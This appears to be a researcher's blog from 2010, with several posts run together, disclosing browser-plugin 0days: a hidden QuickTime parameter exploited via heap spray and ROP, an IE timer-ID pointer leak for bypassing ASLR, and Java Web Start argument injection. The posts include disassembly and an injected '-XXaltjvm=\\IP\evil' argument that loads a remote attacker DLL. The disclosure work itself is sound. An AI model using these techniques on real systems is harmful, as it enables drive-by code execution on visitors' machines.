[0day] Apple QuickTime "_Marshaled_pUnk" backdoor param client-side arbitrary code execution
Written by Rubén
Monday, 30 August 2010
Hi there,
Today we're going to talk about an interesting "backdoor" I uncovered during a static reversing session against QTPlugin.ocx. WATCH OUT! Do not hype this issue beyond it deserves. This time Backdoor != malicious code but a horrible trick a developer implemented during the development cycle.These hacks could end up having a harmful impact.
The scenario would be as follows:
Victim prerequisites:
* Internet Explorer.
* XP,Vista,W7.
* Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older versions not checked )
1. Victim is enticed into visiting, by any mean, a specially crafted webpage.
2. Attacker's payload to be executed under the context of the browser.
3. Attacker calls his girlfriend to inform about the successful exploitation, who indeed turns out to be very interested in the issue. She demands more technical details.
4. Attacker wakes up.
Technical details
QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle params received from where it is embedded, including HTML documents.
Let's take a look
.text:1000E330
.text:1000E330 ; =============== S U B R O U T I N E =======================================
.text:1000E330
.text:1000E330
.text:1000E330 sub_1000E330 proc near ; DATA XREF: .rdata:1002E0ECo
.text:1000E330 ; .rdata:1002E86Co
.text:1000E330
.text:1000E330 arg_0 = dword ptr 4
.text:1000E330 arg_4 = dword ptr 8
.text:1000E330 arg_8 = dword ptr 0Ch
.text:1000E330
.text:1000E330 push esi
.text:1000E331 mov esi, [esp+4+arg_0]
.text:1000E335 mov ecx, [esi+84h]
.text:1000E33B xor eax, eax
.text:1000E33D test ecx, ecx
.text:1000E33F jz short loc_1000E393
.text:1000E341 mov eax, [esp+4+arg_8]
.text:1000E345 mov edx, [esp+4+arg_4]
.text:1000E349 push eax
.text:1000E34A push edx
.text:1000E34B call sub_100031F0
Oops! programming rules state that hidden properties should be preceded by "_" so this property matches the requirement. It's time to google "_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for Quicktime does not even mention it. Weird.
What's is going on here?
QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within object's attributes, if so, unmarshals it by converting the address from its ascii representation into a numerical one ( sub_10001310 ). Then, it uses the resulting pointer as pStm,"A pointer to the IStream interface on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in order to obtain the IUnknown pointer (pUnk from now on) of the marshalled interface. This method is pretty common for sharing interface pointers between threads within COM enabled scenarios ( e.g browsers + plugins ).
So we are controlling an IStream pointer, which is good :)
However at this point the things didn't make sense for me. Despite of the fact that a CPluginHost object's variable holds this pointer (pPlugin+0x13b8), pUnk is never used,. According to the COM model, this pointer shouldn't be used by any other thread. Why in the hell an apple engineer implemented this? A conspiration between NSA, FSB and the bloody Andorra's secret service may be possible but I think there must be another explanation.
Back to the future
So I am downloading an older version of QTPlugin.ocx, which dates from 2004 (6.5.1.17), to try to explain an issue in 2010, cool.
Reversing this function we can see that, in certain cases, QTPlugin.ocx could be instructed to draw contents onto an existing window instead of creating a new one. Mistery solved.
However, although this functionality was removed in newer versions, the param is still present. Why? I guess someone forgot to clean up the code .
Exploiting it
We are controlling the IStream Pointer passed to CoGetInterfaceAndReleaseStream, at a certain point during the execution flow of this function, an IStream method is going to be referenced.
Data is sprayed in such a manner we know that, despite of ASLR, at 0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.
As you can see a couple of gadgets are used, since this is a ROP exploit, however esp is not controlled at all. I'm taking advantage of common code generated by c++ compilers to control parameters and execution.
The gadgets come from Windows Live messenger dlls that are loaded by default on IE and have no ASLR flag.
[0day] Microsoft mshtml.dll CTimeoutEventList::InsertIntoTimeoutList memory leak
Written by Rubén
Tuesday, 29 June 2010
Hi there!
Long time ago since the last post. This time, I'm releasing another 0day, not so critical but interesting indeed.
Sometimes, exploit writers would kill for a fixed address to pivote from. Nowadays, the days of ASLR and DEP, any memory leak is welcome.
Yesterday, Stefano Di Paola posted the following tweet http://twitter.com/WisecWisec/status/17254776077. After elaborating that weird behaviour I discovered a flaw in mshtml.dll, exploitable via Internet Explorer.
In VBScript/JScript there are at least two functions that make use of timers: setTimeout and setInterval. According to the documentation, the return value should be a Timer ID.In Chrome and FF this ID is pure sequential (1,2,3,4...) but in IE I was getting "weird" IDs. Later on I discovered that those IDs turned out to be a heap address plus a counter.
If your browser is Internet Explorer you can inmediately test this flaw by pressing this button.
We are leaking a pointer from a segment of the IE8's default process heap. But, what is that pointer?
Why does it increment everytime I press the button? Let's see the technical analysis:
Inside CWindow's constructor (mshtml's standard) a variable "IDEvent", is initialized to 1
Module: mshtml.dll Vista SP2
Everytime a Timeout event (either created by setInterval or setTimeout ) is created, it's inserted into a list via this function.
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList(struct TIMEOUTEVENTINFO *, unsigned int *, int)
.text:741170E5 ?InsertIntoTimeoutList@CTimeoutEventList@@QAEJPAUTIMEOUTEVENTINFO@@PAIH@Z proc near
.text:741170E5 ; CODE XREF: CWindow::AddTimeoutCode(tagVARIANT *,ushort *,long,long,uint *)+73p
.text:741170E5 ; CWindow::FireTimeOut(uint)+14DFB8p
Take a look at this code, this is the key:
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList
[...]
.text:74117100 mov eax, [esi+30h] ; p->IDEvent
.text:74117103 mov ecx, [ebp+arg_0] ; TimerEvent *t;
.text:74117106 add eax, esi ; s = p + p->IDEvent; // Oops!
.text:74117108 mov [ecx+0Ch], eax ; t->ID = s
.text:7411710B inc dword ptr [esi+30h] p->IDEvent++
What's going on here?
Well,my theory is that in an effort to not return a plain sequential/predictable ID, Microsoft decided to add a "magic" value. Unfortunately, this "magic" value is a pointer member of the CWindow object which ultimately represents an open browser's window. Thus we can define it as persistent in memory even after reloading, till the Browser's instance is closed.
Taking into accout that IDEvent is predictable and we know the pointer offset, we can trivially infer the pointer to the persistent CWindow object(leakedPointer - ID_Counter - 0x3c). This fact brings us useful addresses for ROP/Anti-ASLR exploits. :)
Updated Just in case: Tavis' attack also allows remote code execution since the jar is executing without any restriction.
Updated Although Linux contains vulnerable code, I was unable to exploit it in the same manner. It likely can be exploited by using the proper sequence of command-line arguments, but the sudden release didn't allow me to research into this issue.I was focused on Windows at the moment of the disclosure.
Bye bye my little 0day :(, Tavis Ormandy did a great job uncovering a big logic flaw within Java JRE. I discovered that bug and other that affects every browser few weeks ago so I posted the common "0day++" tweet.
The method by which Java Web Start support has been added to the JRE is not less than a deliberately embedded backdoor(I really don't think so) or a flagrant case of extreme negligence (+1). It's even more incredible that Sun didn't assess the real risk of this flaw after Tavis reported it to them.Acknowledged it, but didn't considered suitable for a OOB patch.
Let's see:
Java Plugin for Browsers (Chrome,Firefox...) - Windows: npjp2.dll (The same for IE8's jp2iexp.dll)
.text:6DAA3D96
.text:6DAA3D96 ; =============== S U B R O U T I N E =======================================
.text:6DAA3D96
.text:6DAA3D96 ; Attributes: bp-based frame
.text:6DAA3D96
.text:6DAA3D96 sub_6DAA3D96 proc near ; CODE XREF: sub_6DAA2ACB+170p
.text:6DAA3D96
.text:6DAA3D96 Data = byte ptr -264h
.text:6DAA3D96 var_263 = byte ptr -263h
.text:6DAA3D96 ApplicationName = byte ptr -160h
.text:6DAA3D96 StartupInfo = _STARTUPINFOA ptr -5Ch
.text:6DAA3D96 ProcessInformation= _PROCESS_INFORMATION ptr -18h
.text:6DAA3D96 cbData = dword ptr -8
.text:6DAA3D96 hKey = dword ptr -4
.text:6DAA3D96 arg_0 = dword ptr 8
.text:6DAA3D96 arg_4 = dword ptr 0Ch
.text:6DAA3D96
.text:6DAA3D96 push ebp.text:6DAA3D97 mov ebp, esp.text:6DAA3D99 sub esp, 264h.text:6DAA3D9F push edi.text:6DAA3DA0 lea eax, [ebp+hKey].text:6DAA3DA3 push eax ; phkResult
.text:6DAA3DA4 push 20019h ; samDesired
.text:6DAA3DA9 xor edi, edi.text:6DAA3DAB push edi ; ulOptions
.text:6DAA3DAC push offset SubKey; "JNLPFile\\Shell\\Open\\Command"
.text:6DAA3DB1 push 80000000h ; hKey
.text:6DAA3DB6 mov [ebp+cbData], 104h.text:6DAA3DBD call ds:RegOpenKeyExA.text:6DAA3DC3 test eax, eax.text:6DAA3DC5 jz short loc_6DAA3DCE.text:6DAA3DC7 xor eax, eax.text:6DAA3DC9 jmp loc_6DAA3F16
So basically the Java-Plugin Browser is running "javaws.exe" without validating command-line parameters. These parameters can be controlled by attackers via specially crafted embed html tags within a webpage.
That's it. This is how JAVA Plugin identifies Java Web Start content (jnlp files).So
We can inject command-line parameters through "docbase" tag and even "launchjnlp".
What type of arguments can we abuse to compromise a system?
java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path. Game over. We can set -XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP...
Linux
Same logic error, check this function "_Z10launchJNLPPKcS0" in libnpjp2.so